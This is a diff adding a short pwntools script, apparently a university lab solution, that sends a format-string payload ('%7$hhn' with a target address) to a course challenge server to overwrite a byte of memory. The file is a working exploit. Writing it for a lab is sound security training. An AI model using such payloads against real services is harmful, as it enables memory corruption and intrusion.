Lab7

pa/lab7/chall_write_to_memory.py

@@ -0,0 +1,16 @@
+from pwn import remote, process, p32
+
+HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
+PORT = 25193
+
+conn = remote(HOST, PORT)
+#conn = process("03_write")
+#input()
+
+tgt_addr = p32(0x804c040)
+
+pl = tgt_addr+b"AAAA.%7$hhn\n"
+
+conn.send(pl)
+while conn.connected():
+	print(chr(conn.recv(1)[0]), end="", flush=True)